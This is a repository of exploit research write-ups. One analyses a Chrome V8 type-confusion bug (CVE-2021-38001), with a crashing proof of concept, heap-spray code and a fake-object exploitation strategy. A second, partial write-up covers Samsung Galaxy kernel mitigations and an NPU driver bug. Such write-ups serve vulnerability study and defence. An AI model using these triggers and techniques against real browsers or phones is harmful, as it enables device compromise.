├── README.md ├── Neutralize all mitigations - ultimate android rooting.md ├── CVE-2021-38001.md └── Galaxy's Meltdown - Exploiting SVE-2020-18610.md /README.md: -------------------------------------------------------------------------------- 1 | # articles 2 | Research related 3 | -------------------------------------------------------------------------------- /Neutralize all mitigations - ultimate android rooting.md: -------------------------------------------------------------------------------- 1 | TODO 2 | -------------------------------------------------------------------------------- /CVE-2021-38001.md: -------------------------------------------------------------------------------- 1 | 2 | # CVE-2021-38001 3 | 4 | ![](https://i.imgur.com/kGZy7aP.jpg) 5 | 6 | This bug is reported by @s0rrymybad on TianfuCup 2021 Chrome category. 7 | 8 | ## Introduction 9 | Currently so many bugs are related with **property access** mechanism. 10 | - [CVE-2021-30632](https://source.chromium.org/chromium/_/chromium/v8/v8.git/+/6391d7a58d0c58cd5d096d22453b954b3ecc6fec) 11 | - Global property access problem **[JIT]** 12 | - [CVE-2021-30551](https://bugs.chromium.org/p/chromium/issues/detail?id=1216437) 13 | - Runtime problem with DOM in property access mechanism **[Runtime]** 14 | - [CVE-2021-30517](https://bugs.chromium.org/p/chromium/issues/detail?id=1203122) 15 | - Inline cache problem with LoadSuperIC **[IC]** 16 | 17 | Actually this bug is quite similar to **CVE-2021-30517**, but before starting root cause analysis, we need to know how V8 internally handle property access related operations. 18 | I will shortly review them as following sequence =]. 19 | 20 | - Property access bytecode handler 21 | - How to make Inline Cache for property access 22 | - Root cause analysis 23 | - Exploit strategy 24 | 25 | ## Property access bytecode handler 26 | 27 | Here is simple property access example. 28 | ```javascript= 29 | let o = {x: 1, y: 2}; 30 | o.x; 31 | ``` 32 | 33 | In this case, `LdaNamedProperty` bytecode is generated like following snippet. 34 | 35 | ``` 36 | 0x1f908293476 @ 0 : 7c 00 00 29 CreateObjectLiteral [0], [0], #41 37 | 0x1f90829347a @ 4 : 25 02 StaCurrentContextSlot [2] 38 | 0x1f90829347c @ 6 : 16 02 LdaCurrentContextSlot [2] 39 | 0x1f90829347e @ 8 : c3 Star1 40 | 0x1f90829347f @ 9 : 2d f9 01 01 LdaNamedProperty r1, [1], [1] 41 | 0x1f908293483 @ 13 : c4 Star0 42 | 0x1f908293484 @ 14 : a9 Return 43 | ``` 44 | This `LdaNamedProperty` handler is defined in `interpreter-generator.cc`. 45 | 46 | ```cpp 47 | IGNITION_HANDLER(LdaNamedProperty, InterpreterAssembler) { 48 | TNode feedback_vector = LoadFeedbackVector(); 49 | // Load receiver. 50 | TNode recv = LoadRegisterAtOperandIndex(0); // [0] 51 | ... 52 | LazyNode lazy_name = [=] { 53 | return CAST(LoadConstantPoolEntryAtOperandIndex(1)); // [1] 54 | }; 55 | ... 56 | AccessorAssembler::LazyLoadICParameters params(lazy_context, recv, lazy_name, 57 | lazy_slot, feedback_vector); 58 | AccessorAssembler accessor_asm(state()); 59 | accessor_asm.LoadIC_BytecodeHandler(¶ms, &exit_point); // [2] 60 | ... 61 | } 62 | ``` 63 | 64 | It loads `receiver(recv)` and `property name(lazy_name)`, and `receiver` is `o`, `lazy_name` is `x`. 65 | 66 | ```cpp 67 | void AccessorAssembler::LoadIC_BytecodeHandler(const LazyLoadICParameters* p, 68 | ExitPoint* exit_point) { 69 | Label stub_call(this, Label::kDeferred), miss(this, Label::kDeferred), 70 | no_feedback(this, Label::kDeferred); 71 | 72 | GotoIf(IsUndefined(p->vector()), &no_feedback); 73 | 74 | TNode lookup_start_object_map = 75 | LoadReceiverMap(p->receiver_and_lookup_start_object()); 76 | GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss); 77 | 78 | // Inlined fast path. 79 | { 80 | Comment("LoadIC_BytecodeHandler_fast"); 81 | 82 | TVARIABLE(MaybeObject, var_handler); 83 | Label try_polymorphic(this), if_handler(this, &var_handler); 84 | 85 | TNode feedback = TryMonomorphicCase( 86 | p->slot(), CAST(p->vector()), lookup_start_object_map, &if_handler, 87 | &var_handler, &try_polymorphic); 88 | 89 | BIND(&if_handler); 90 | HandleLoadICHandlerCase(p, CAST(var_handler.value()), &miss, exit_point); 91 | 92 | BIND(&try_polymorphic); 93 | { 94 | TNode strong_feedback = 95 | GetHeapObjectIfStrong(feedback, &miss); 96 | GotoIfNot(IsWeakFixedArrayMap(LoadMap(strong_feedback)), &stub_call); 97 | HandlePolymorphicCase(lookup_start_object_map, CAST(strong_feedback), 98 | &if_handler, &var_handler, &miss); 99 | } 100 | } 101 | 102 | BIND(&stub_call); 103 | { 104 | Comment("LoadIC_BytecodeHandler_noninlined"); 105 | 106 | // Call into the stub that implements the non-inlined parts of LoadIC. 107 | Callable ic = Builtins::CallableFor(isolate(), Builtin::kLoadIC_Noninlined); 108 | TNode code_target = HeapConstant(ic.code()); 109 | exit_point->ReturnCallStub(ic.descriptor(), code_target, p->context(), 110 | p->receiver_and_lookup_start_object(), p->name(), 111 | p->slot(), p->vector()); 112 | } 113 | 114 | BIND(&no_feedback); 115 | { 116 | Comment("LoadIC_BytecodeHandler_nofeedback"); 117 | // Call into the stub that implements the non-inlined parts of LoadIC. 118 | exit_point->ReturnCallStub( 119 | Builtins::CallableFor(isolate(), Builtin::kLoadIC_NoFeedback), 120 | p->context(), p->receiver(), p->name(), 121 | SmiConstant(FeedbackSlotKind::kLoadProperty)); 122 | } 123 | 124 | BIND(&miss); 125 | { 126 | Comment("LoadIC_BytecodeHandler_miss"); 127 | 128 | exit_point->ReturnCallRuntime(Runtime::kLoadIC_Miss, p->context(), 129 | p->receiver(), p->name(), p->slot(), 130 | p->vector()); 131 | } 132 | } 133 | ``` 134 | Simply said, there are 5 cases to handle property access. 135 | 1. If there is no information in `p->vector()`, it will jump to `no_feedback` branch. 136 | 2. If `p->vector()` exist, check whether `lookup_start_object_map` is deprected or not. 137 | 3. If `lookup_start_object_map` is stable, it check whether this is monomorphic case or not. 138 | 4. If it is not monomorphic case, it try to check whether this is polymorphic case or not. 139 | 5. If it is polymorphic case, it will jump to `stub_call` branch, but if not, it will jump to `miss` branch. 140 | 141 | 142 | 143 | ## How to make Inline Cache for property access 144 | 145 | As i said before, there is no feedback vector information at first. 146 | So it will call `AccessorAssembler::LoadIC_NoFeedback`. 147 | 148 | ```cpp 149 | void AccessorAssembler::LoadIC_NoFeedback(const LoadICParameters* p, 150 | TNode ic_kind) { 151 | Label miss(this, Label::kDeferred); 152 | TNode lookup_start_object = p->receiver_and_lookup_start_object(); 153 | GotoIf(TaggedIsSmi(lookup_start_object), &miss); 154 | TNode lookup_start_object_map = LoadMap(CAST(lookup_start_object)); 155 | GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss); 156 | 157 | TNode instance_type = LoadMapInstanceType(lookup_start_object_map); 158 | 159 | { 160 | // Special case for Function.prototype load, because it's very common 161 | // for ICs that are only executed once (MyFunc.prototype.foo = ...). 162 | Label not_function_prototype(this, Label::kDeferred); 163 | GotoIfNot(IsJSFunctionInstanceType(instance_type), ¬_function_prototype); 164 | GotoIfNot(IsPrototypeString(p->name()), ¬_function_prototype); 165 | 166 | GotoIfPrototypeRequiresRuntimeLookup(CAST(lookup_start_object), 167 | lookup_start_object_map, 168 | ¬_function_prototype); 169 | Return(LoadJSFunctionPrototype(CAST(lookup_start_object), &miss)); 170 | BIND(¬_function_prototype); 171 | } 172 | 173 | GenericPropertyLoad(CAST(lookup_start_object), lookup_start_object_map, 174 | instance_type, p, &miss, kDontUseStubCache); 175 | 176 | BIND(&miss); 177 | { 178 | TailCallRuntime(Runtime::kLoadNoFeedbackIC_Miss, p->context(), 179 | p->receiver(), p->name(), ic_kind); 180 | } 181 | } 182 | ``` 183 | 184 | If `lookup_start_object` is not a SMI and is not deprecated, then it will generally call [`GenericPropertyLoad`](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/ic/accessor-assembler.cc;l=2579?q=GenericPropertYLoad&ss=chromium). 185 | It's behavior is simple. 186 | 187 | 1. Check whether `lookup_start_object`'s instance type is [special](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/instance-type.h;l=135;drc=c9aff495a76bcdc0118642f1bb961a1d02e8c959;bpv=0;bpt=1) or it is dictionary mode now. 188 | 2. if property descritor exist, and if property exist on current descriptor, it will call [`LoadPropertyFromFastObject`](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/codegen/code-stub-assembler.cc;l=9361?q=LoadPropertyFromFastObject&ss=chromium%2Fchromium%2Fsrc) and jump to `if_found_on_lookup_start_object`. 189 | 3. If not, it will jump to `lookup_prototype_chain` to find correct property in prototype chain. 190 | 4. Above [2] and [3] case, they also call [Runtime_LoadNoFeedbackIC_Miss](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/ic/ic.cc;l=2581?q=Runtime_LoadNoFeedbackIC_Miss&ss=chromium%2Fchromium%2Fsrc) to install/update feedback vector. 191 | 192 | So after property access occur a few times, now feedback vector is installed, then inline cache system utilizes installed feedback vector. 193 | 194 | ## Root cause analysis 195 | 196 | The vulnerability patch commit is [here](https://github.com/v8/v8/commit/e4dba97006ca20337deafb85ac00524a94a62fe9). 197 | ![](https://i.imgur.com/0ltfyf7.jpg) 198 | 199 | As you can see, both `accessor-assembler.cc` and `ic.cc` are patched. 200 | When cache miss occur, [ComputeHandler](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/ic/ic.cc;l=920?q=ic.cc&ss=chromium) is called to update cache, then compiled `accessor-assembler.cc`'s codes are affected. 201 | 202 | There is **type confusion** between `receiver` in `accessor-assembler.cc` and `lookup_start_object(holder)` in `ic.cc`. 203 | 204 | Because `ic.cc` will update cache based on `lookup_start_object(holder)` which should be in `JSModuleNamespace`, but after update, actual property access operation run on `recevier` object which is not in `JSModuleNamespace`. 205 | So if `receiver` and `lookup_start_object(holder)` are different, **type confusion** occur. 206 | 207 | If you write correct poc, crash will occur in [AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/ic/accessor-assembler.cc;l=626?q=AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase&ss=chromium). 208 | 209 | At first, we need to access some property which is in `JSModuleNamespace`. 210 | ```javascript 211 | // 1.mjs 212 | export let x = {}; 213 | export let y = {}; 214 | export let z = {}; 215 | 216 | // 2.mjs 217 | // run "./d8 --allow-natives-syntax ./2.mjs" 218 | import * as module from "1.mjs"; 219 | %DebugPrint(module) 220 | 221 | /* 222 | DebugPrint: 0x2a9a0810a849: [JSModuleNamespace] 223 | - map: 0x2a9a082c7cf9 [DictionaryProperties] 224 | - prototype: 0x2a9a08002235 225 | - elements: 0x2a9a0810a8d9 [DICTIONARY_ELEMENTS] 226 | - module: 0x2a9a08293745 227 | - properties: 0x2a9a0810a85d 228 | - All own properties (excluding elements): { 229 | 0x2a9a08005be5 : 0x2a9a08004d59 (data, dict_index: 1, attrs: [___]) 230 | x: 0x2a9a08293825 (accessor, dict_index: 2, attrs: [WE_]) 231 | z: 0x2a9a08293865 (accessor, dict_index: 4, attrs: [WE_]) 232 | y: 0x2a9a08293845 (accessor, dict_index: 3, attrs: [WE_]) 233 | } 234 | - elements: 0x2a9a0810a8d9 { 235 | - requires_slow_elements 236 | } 237 | 0x2a9a082c7cf9: [Map] 238 | - type: JS_MODULE_NAMESPACE_TYPE 239 | ... 240 | */ 241 | ``` 242 | `JSModuleNamespace` means `module` object in above snippet. 243 | Then, this `module` object should be `holder` in [ComputeHandler](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/ic/ic.cc;l=992?q=ComputeHandler&ss=chromium). 244 | I can make this by setting this `module` object to other object's prototype chain. 245 | Following one is **poc** for this vulnerability. 246 | 247 | ```javascript 248 | import * as module from "1.mjs"; 249 | 250 | function poc() { 251 | class C { 252 | m() { 253 | return super.y; 254 | } 255 | } 256 | 257 | let zz = {aa: 1, bb: 2}; 258 | // receiver vs holder type confusion 259 | function trigger() { 260 | // set lookup_start_object 261 | C.prototype.__proto__ = zz; 262 | // set holder 263 | C.prototype.__proto__.__proto__ = module; 264 | 265 | // "c" is receiver in ComputeHandler [ic.cc] 266 | // "module" is holder 267 | // "zz" is lookup_start_object 268 | let c = new C(); 269 | 270 | c.x0 = 0x42424242 / 2; 271 | c.x1 = 0x42424242 / 2; 272 | c.x2 = 0x42424242 / 2; 273 | c.x3 = 0x42424242 / 2; 274 | c.x4 = 0x42424242 / 2; 275 | 276 | // LoadWithReceiverIC_Miss 277 | // => UpdateCaches (Monomorphic) 278 | // CheckObjectType with "receiver" 279 | let res = c.m(); 280 | } 281 | 282 | for (let i = 0; i < 0x100; i++) { 283 | trigger(); 284 | } 285 | } 286 | 287 | poc(); 288 | ``` 289 | 290 | ![](https://i.imgur.com/kps4OyN.jpg) 291 | 292 | ```cpp= 293 | void AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase( 294 | 295 | ... 296 | 297 | BIND(&module_export); 298 | { 299 | Comment("module export"); 300 | TNode index = 301 | DecodeWord(handler_word); 302 | TNode module = 303 | LoadObjectField(CAST(p->receiver()), JSModuleNamespace::kModuleOffset); // [0] 304 | TNode exports = 305 | LoadObjectField(module, Module::kExportsOffset); 306 | TNode cell = CAST(LoadFixedArrayElement(exports, index)); 307 | // The handler is only installed for exports that exist. 308 | TNode value = LoadCellValue(cell); 309 | Label is_the_hole(this, Label::kDeferred); 310 | GotoIf(IsTheHole(value), &is_the_hole); 311 | exit_point->Return(value); 312 | 313 | ... 314 | 315 | } 316 | ``` 317 | Although **[0]** expects `Module` type object, the `receiver(c in poc)` is not `Module` object. 318 | So `exports` will be set by `c`'s SMI property field value(0x42424242), **type confusion** and **crash** will occur. 319 | 320 | ## Exploit strategy 321 | 322 | At first, to make fake object, we need to figure out where our fake object is located. 323 | Although we don't have any memory leak primitive yet, due to [compressed pointer in V8](https://v8.dev/blog/pointer-compression), we can easily solve this problem with heap spray. 324 | 325 | ### Heap spray 326 | 327 | Before pointer compression was introduced, how sophisticated we do heap spray, it is very hard to guess sprayed address because we have to guess whole address (generally 6 bytes). 328 | 329 | But due to pointer compression, we don't need to know high 2 bytes ! 330 | 331 | ``` 332 | |----- 32 bits -----|----- 32 bits -----| 333 | Pointer: |________base_______|______offset_____w1| 334 | ``` 335 | 336 | Because `base` value is fixed when `isolate` is instantiated, so we just do guess low 4 bytes (offset). 337 | 338 | And actually i didn't fully analyze why this happen, sprayed objects are usually located similar region on macOS and Linux. (on d8 and chrome). 339 | 340 | ``` 341 | |----- 32 bits -----|----- 32 bits -----| 342 | Pointer: |________base_______|_____0x083xxxxx____| 343 | ``` 344 | 345 | Thus, it is quite easy to guess sprayed heap address :) 346 | 347 | ```javascript 348 | var victim_array = []; 349 | victim_array.length = 0x1000; 350 | 351 | var double_array = [1.1]; 352 | double_array.length = 0x10000; 353 | double_array.fill(1.1); 354 | 355 | function spray_heap() { 356 | for(var i = 0;i < victim_array.length;i++){ 357 | victim_array[i] = double_array.slice(0,double_array.length); 358 | } 359 | } 360 | 361 | spray_heap(); 362 | %DebugPrint(double_array); 363 | ``` 364 | 365 | ### Exploit 366 | 367 | After getting sprayed objects address, we need to build fake object. 368 | We usually build fake `PACKED_DOUBLE_ELEMENTS` array to **READ/WRITE caged region (compressed pointer)** by switching its `ELEMENTS` field. 369 | 370 | There are 2 options to make `PACKED_DOUBLE_ELEMENTS` array. 371 | 372 | 1. Basic **Maps** have static low 32 bits value, so we can use it without any memory leak. (But this value is different from version to version, device to device). 373 | 2. Build fake **Map** and make fake object with that **Map**. 374 | 375 | I used **[1]** method to make just reference exploit. 376 | You can see my exploit in [here](https://github.com/vngkv123/aSiagaming/tree/master/Chrome-v8-1260577) 377 | So if you want to stable exploit, i think you have to use second method :) 378 | 379 | 380 | 381 | -------------------------------------------------------------------------------- /Galaxy's Meltdown - Exploiting SVE-2020-18610.md: -------------------------------------------------------------------------------- 1 | # Basic 2 | 3 | Although Google Project Zero released [blog article](https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries-android.html) about Samsung Galaxy's NPU bug which is same bug [we found before](https://twitter.com/vngkv123/status/1328223035137036290?s=20), we also open our write-up about this bug with different exploit methodology. As the vulnerability is very simple, we focus on how to getting AAR/AAW and how to bypass Samsung Galaxy's mitigaitons like SELinux and KNOX. Our work is done on Samsung Galaxy S10, and may work on Samsung Galaxy S20. 4 | 5 | 6 | 7 | Before starting our exploit journey, we need to know basic concepts about Samsung Galaxy's internal stuffs. TL;DR :) 8 | 9 | 10 | 11 | ### Samsung Galaxy's kernel mitigations 12 | 13 | Samsung Galaxy implements their own security mechanism based on Android ecosystem. 14 | 15 | Let's take a brief look at the biggest obstacles - **KNOX** and **SELinux**. 16 | 17 | 18 | 19 | **KNOX** 20 | 21 | [KNOX](https://www.samsungknox.com/en) is security mechanism in Samsung Galaxy, which introduced many mitigations like **DM-verify**, **KAP**, **PKM** and etc). to prevent android kernel from Local Privilege Escalation. 22 | 23 | The important things in KNOX mechanism are **RKP**(Real-time Kernel Protection) and **DFI**(Data Flow Integrity). 24 | 25 | 26 | 27 | The **RKP** is implemented in secure world which can be TrustZone or Hypervisor. 28 | 29 | RKP provides [many functionalities](https://www.samsungknox.com/ko/blog/real-time-kernel-protection-rkp) like `preventing unauthorized privileged code from untrusted source`, `preventing direct access from userspace` and `verifying important kernel data integrity`. 30 | 31 | 32 | 33 | The **DFI** protects root related data like **init_cred**, **page table entries** and etc). by allocating those objects in RKP protected read-only region, so even if attacker has AAW(Arbitrary Address Write) primitive, he can't modify these data. 34 | 35 | ```c++ 36 | struct cred init_cred __kdp_ro = { 37 | .usage = ATOMIC_INIT(4), 38 | #ifdef CONFIG_DEBUG_CREDENTIALS 39 | .subscribers = ATOMIC_INIT(2), 40 | .magic = CRED_MAGIC, 41 | #endif 42 | .uid = GLOBAL_ROOT_UID, 43 | .gid = GLOBAL_ROOT_GID, 44 | .suid = GLOBAL_ROOT_UID, 45 | 46 | ... 47 | ``` 48 | 49 | Therefore, to modify these data, RKP provides unique function called `rkp_call/uh_call` to change the protected data. 50 | 51 | Of course, the attacker can think about abusing that function to acheive their goal. The question is that is it possible? 52 | 53 | The answer is **you can't simply abuse it now**. Because currently all RKP functions do data integrity check internally. 54 | 55 | ```c++ 56 | // kernel/cred.c 57 | void __put_cred(struct cred *cred) 58 | { 59 | kdebug("__put_cred(%p{%d,%d})", cred, 60 | atomic_read(&cred->usage), 61 | read_cred_subscribers(cred)); 62 | 63 | #ifdef CONFIG_RKP_KDP 64 | if (rkp_ro_page((unsigned long)cred)) 65 | BUG_ON((rocred_uc_read(cred)) != 0); 66 | else 67 | #endif /*CONFIG_RKP_KDP*/ 68 | 69 | ... 70 | 71 | // fs/exec.c 72 | #define RKP_CRED_SYS_ID 1000 73 | 74 | static int is_rkp_priv_task(void) 75 | { 76 | struct cred *cred = (struct cred *)current_cred(); 77 | 78 | if(cred->uid.val <= (uid_t)RKP_CRED_SYS_ID || cred->euid.val <= (uid_t)RKP_CRED_SYS_ID || 79 | cred->gid.val <= (gid_t)RKP_CRED_SYS_ID || cred->egid.val <= (gid_t)RKP_CRED_SYS_ID ){ 80 | return 1; 81 | } 82 | return 0; 83 | } 84 | ``` 85 | 86 | As the example like above code snippet, when installing new credential by calling `commit_creds()` function, it calls `__put_cred()` function internally. When `__put_cred()` function calls some `rkp_call/uh_call`, HyperVisor/TrustZone will check whether the process credential is in a **RKP protected read-only memory area** and **check whether the process id is If it is greater than 1000**. 87 | 88 | So, trying to forge `task_struct->cred` member is no more valid now. 89 | 90 | 91 | 92 | Also, usually linux kernel attackers abused `ptmx_fops` to get arbitrary function call primitive, because `ptmx_fops` is can be overwrote by the attacker. Therefore it's great target to make arbitrary function call primitive. 93 | 94 | But, due to RKP, every fops structures in Samsung Galaxy kernel including `ptmx_fops` reside in read-only region, attackers can't use old-way, so they must find other way to getting reliable arbitrary function call primitive. 95 | 96 | 97 | 98 | **SELinux** 99 | 100 | Prior to Android 4.3, google used [application sandboxes](https://source.android.com/security/app-sandbox) as android security model. But, after Android 5.0, SELinux is main security mechanism in Android system, and is fully enforced by default. 101 | 102 | On google NEXUS and PIXEL series, SELinux policy is controlled by 1 global variable named [selinux_enforcing](https://elixir.bootlin.com/linux/v3.9/source/security/selinux/hooks.c#L105) in kernel space which is writable variable. Thus, if `selinux_enforcing` is false, SELinux doesn't work on those android system. 103 | 104 | 105 | 106 | However, Samsung Galaxy's SELinux policy doesn't rely on `selinux_enforcing`, because they customized SELinux policy to harden original SELinux's weakness. Based on the original permission management of SELinux, following code snippet shows that an additional integrity check is added to almost all system call interfaces. 107 | 108 | ```c++ 109 | struct cred { 110 | ... 111 | #ifdef CONFIG_RKP_KDP 112 | atomic_t *use_cnt; 113 | struct task_struct *bp_task; 114 | void *bp_pgd; 115 | unsigned long long type; 116 | #endif /*CONFIG_RKP_KDP*/ 117 | } __randomize_layout; 118 | ``` 119 | 120 | At first, in `cred` structure, there are members like `bp_task` and `bp_pgd` for SELinux's `security_integrity_current` function. When new credential is commitied or overrided in secure world, RKP records it's owner information in `bp_task` and PGD information in `bp_pgd`. 121 | 122 | ```c++ 123 | // security/security.c 124 | #define call_void_hook(FUNC, ...) \ 125 | do { \ 126 | struct security_hook_list *P; \ 127 | \ 128 | if(security_integrity_current()) break; \ 129 | list_for_each_entry(P, &security_hook_heads.FUNC, list) \ 130 | P->hook.FUNC(__VA_ARGS__); \ 131 | } while (0) 132 | 133 | #define call_int_hook(FUNC, IRC, ...) ({ \ 134 | int RC = IRC; \ 135 | do { \ 136 | struct security_hook_list *P; \ 137 | \ 138 | RC = security_integrity_current(); \ 139 | if (RC != 0) \ 140 | break; \ 141 | list_for_each_entry(P, &security_hook_heads.FUNC, list) { \ 142 | RC = P->hook.FUNC(__VA_ARGS__); \ 143 | if (RC != 0) \ 144 | break; \ 145 | } \ 146 | } while (0); \ 147 | RC; \ 148 | }) 149 | 150 | ... 151 | 152 | // security/selinux/hooks.c 153 | int security_integrity_current(void) 154 | { 155 | rcu_read_lock(); 156 | if ( rkp_cred_enable && 157 | (rkp_is_valid_cred_sp((u64)current_cred(),(u64)current_cred()->security)|| 158 | cmp_sec_integrity(current_cred(),current->mm)|| 159 | cmp_ns_integrity())) { 160 | rkp_print_debug(); 161 | rcu_read_unlock(); 162 | panic("RKP CRED PROTECTION VIOLATION\n"); 163 | } 164 | rcu_read_unlock(); 165 | return 0; 166 | } 167 | ``` 168 | 169 | If `CONFIG_RKP_KDP` is enabled, `security_integrity_current` function works, which is function to verify cred security context of a process. Simply said, it will do following things. 170 | 171 | 1. Whether the cred and security in the process descriptor are allocated in the `RKP protected read-only memory area`. 172 | 2. Whether `bp_cred` and `cred` are consistent to prevent being modified. 173 | 3. Whether `bp_task` is the process. 174 | 4. Whether `mm->pgd` and `cred->bp_pgd` are consistent 175 | 5. Whether `current->nsproxy->mnt_ns->root` and `current->nsproxy->mnt_ns->root ->mnt->bp_mount` is consistent. 176 | 177 | 178 | 179 | And also Samsung puts SELinux related data like `cred->security`, `task_security_struct` and `selinux_ops` on `RKP protected read-only memory region` to prevent data forgery via AAW primitive by attacker. 180 | 181 | 182 | 183 | Those things are brief overview of what Samsung's customized SELinux do. 184 | 185 | In addition to SELinux's behavior, SELinux is also important measure as vulnerability market's perspective because it is used to estimate bugs value in android system. 186 | 187 | For example, if some bug can be triggered in "isolated_app" context, it is generally more valuable then the bug which can be only triggered in "untrusted_app" context. 188 | 189 | We can check this information by following commands. 190 | 191 | ``` 192 | adb pull /sys/fs/selinux/policy 193 | sesearch --allow policy | grep -v "magisk" | grep "isolated_app" 194 | ``` 195 | 196 | 197 | 198 | ### Previously released Samsung Galaxy exploitation 199 | 200 | Previous KNOX bypass exploitations are well described in [x82's slide at POC 2019](http://powerofcommunity.net/poc2019/x82.pdf). 201 | 202 | There are several published articles in online, let's take a quick look at them. 203 | 204 | 205 | 206 | **KNOX 2.6 (Samsung Galaxy S7)** 207 | 208 | In [blackhat USA 2017 slide from KeenLab](https://www.blackhat.com/docs/us-17/thursday/us-17-Shen-Defeating-Samsung-KNOX-With-Zero-Privilege-wp.pdf), they published new way to bypass DFI and SELinux. 209 | 210 | At first, they called `rkp_override_creds` to override own cred with some tricky way (i don't know what this tricky way is), even if RKP do `uid_checking` inside `rkp_override_creds`. Then, they used `orderly_poweroff` function with modified `poweroff_cmd` to call `call_usermodehelper` to create privileged process. So, after getting privileged process which has full root capabilities, they call `rkp_override_creds` to change its cred information. 211 | 212 | 213 | 214 | Even if newly created process has full root capabilities, due to SELinux, it has limited access to full filesystem. 215 | 216 | 217 | 218 | **KNOX 2.8 (Samsung Galaxy S8)** 219 | 220 | Calling `__orderly_poweroff()` is patched with uid and binary path verification in `load_elf_binary()`. 221 | 222 | ```c++ 223 | static int kdp_check_sb_mismatch(struct super_block *sb) 224 | { 225 | if(is_recovery || __check_verifiedboot) { 226 | return 0; 227 | } 228 | if((sb != rootfs_sb) && (sb != sys_sb) 229 | && (sb != odm_sb) && (sb != vendor_sb) && (sb != art_sb)) { 230 | return 1; 231 | } 232 | return 0; 233 | } 234 | 235 | static int invalid_drive(struct linux_binprm * bprm) 236 | { 237 | struct super_block *sb = NULL; 238 | struct vfsmount *vfsmnt = NULL; 239 | 240 | vfsmnt = bprm->file->f_path.mnt; 241 | if(!vfsmnt || 242 | !rkp_ro_page((unsigned long)vfsmnt)) { 243 | printk("\nInvalid Drive #%s# #%p#\n",bprm->filename, vfsmnt); 244 | return 1; 245 | } 246 | sb = vfsmnt->mnt_sb; 247 | 248 | if(kdp_check_sb_mismatch(sb)) { 249 | printk("\nSuperblock Mismatch #%s# vfsmnt #%p#sb #%p:%p:%p:%p:%p:%p#\n", 250 | bprm->filename, vfsmnt, sb, rootfs_sb, sys_sb, odm_sb, vendor_sb, art_sb); 251 | return 1; 252 | } 253 | 254 | return 0; 255 | } 256 | 257 | #define RKP_CRED_SYS_ID 1000 258 | static int is_rkp_priv_task(void) 259 | { 260 | struct cred *cred = (struct cred *)current_cred(); 261 | 262 | if(cred->uid.val <= (uid_t)RKP_CRED_SYS_ID || cred->euid.val <= (uid_t)RKP_CRED_SYS_ID || 263 | cred->gid.val <= (gid_t)RKP_CRED_SYS_ID || cred->egid.val <= (gid_t)RKP_CRED_SYS_ID ){ 264 | return 1; 265 | } 266 | return 0; 267 | } 268 | #endif 269 | 270 | int flush_old_exec(struct linux_binprm * bprm) 271 | { 272 | ... 273 | #ifdef CONFIG_RKP_NS_PROT 274 | if(rkp_cred_enable && 275 | is_rkp_priv_task() && 276 | invalid_drive(bprm)) { 277 | panic("\n KDP_NS_PROT: Illegal Execution of file #%s#\n", bprm->filename); 278 | } 279 | #endif /*CONFIG_RKP_NS_PROT*/ 280 | ... 281 | ``` 282 | 283 | As you can see, if caller's uid is under 1000, it will check whether mount point is in RKP protected space. But these verifications are not added to `load_script()`, so attacker can still run arbitrary root script instead of binary. 284 | 285 | 286 | 287 | All of above techniques is patched now, so new way is required to bypass Samsung Galaxy's custom SELinux and KNOX . 288 | 289 | 290 | 291 | ### NPU Driver 292 | 293 | The NPU was installed from the exynos 9820 series, which means every Samsung Galaxy devices after the exynos 9820 have NPU kernel driver. 294 | 295 | Before the vulnerability is patched, this driver can be accessed by `untrusted_app` (Chromium Browser, Normal App, ...), but after [Samsung security update at NOV, 2020](https://security.samsungmobile.com/securityUpdate.smsb), `untrutsted_app` is also restricted by new selinux policy. 296 | 297 | 298 | 299 | We can use NPU driver simply by opening `/dev/vertex10`, and this driver provides various ioctl commands for user. 300 | 301 | ```c++ 302 | long vertex_ioctl(struct file *file, unsigned int cmd, unsigned long arg) 303 | { 304 | int ret = 0; 305 | struct vision_device *vdev = vision_devdata(file); 306 | const struct vertex_ioctl_ops *ops = vdev->ioctl_ops; 307 | 308 | /* temp var to support each ioctl */ 309 | union { 310 | struct vs4l_graph vsg; 311 | struct vs4l_format_list vsf; 312 | struct vs4l_param_list vsp; 313 | struct vs4l_ctrl vsc; 314 | struct vs4l_container_list vscl; 315 | } vs4l_kvar; 316 | 317 | switch (cmd) { 318 | case VS4L_VERTEXIOC_S_GRAPH: 319 | ret = get_vs4l_graph64(&vs4l_kvar.vsg, 320 | (struct vs4l_graph __user *)arg); 321 | if (ret) { 322 | vision_err("get_vs4l_graph64 (%d)\n", ret); 323 | break; 324 | } 325 | 326 | ret = ops->vertexioc_s_graph(file, &vs4l_kvar.vsg); 327 | if (ret) 328 | vision_err("vertexioc_s_graph is fail(%d)\n", ret); 329 | 330 | put_vs4l_graph64(&vs4l_kvar.vsg, 331 | (struct vs4l_graph __user *)arg); 332 | break; 333 | 334 | case VS4L_VERTEXIOC_S_FORMAT: 335 | ret = get_vs4l_format64(&vs4l_kvar.vsf, 336 | (struct vs4l_format_list __user *)arg); 337 | if (ret) { 338 | vision_err("get_vs4l_format64 (%d)\n", ret); 339 | break; 340 | } 341 | 342 | ret = ops->vertexioc_s_format(file, &vs4l_kvar.vsf); 343 | if (ret) 344 | vision_err("vertexioc_s_format (%d)\n", ret); 345 | 346 | put_vs4l_format64(&vs4l_kvar.vsf, 347 | (struct vs4l_format_list __user *)arg); 348 | break; 349 | 350 | ... 351 | ``` 352 | 353 | Although there are more NPU ioctl commands, we focus on only 2 commands named `VS4L_VERTEXIOC_S_GRAPH` and `VS4L_VERTEXIOC_S_FORMAT`, Because the vulnerability we used is in `VS4L_VERTEXIOC_S_GRAPH` command, and `VS4L_VERTEXIOC_S_FORMAT` command is used for out-of-bound read/write. 354 | 355 | ```c++ 356 | const struct vertex_ioctl_ops npu_vertex_ioctl_ops = { 357 | .vertexioc_s_graph = npu_vertex_s_graph, 358 | .vertexioc_s_format = npu_vertex_s_format, 359 | .vertexioc_s_param = npu_vertex_s_param, 360 | .vertexioc_s_ctrl = npu_vertex_s_ctrl, 361 | .vertexioc_qbuf = npu_vertex_qbuf, 362 | 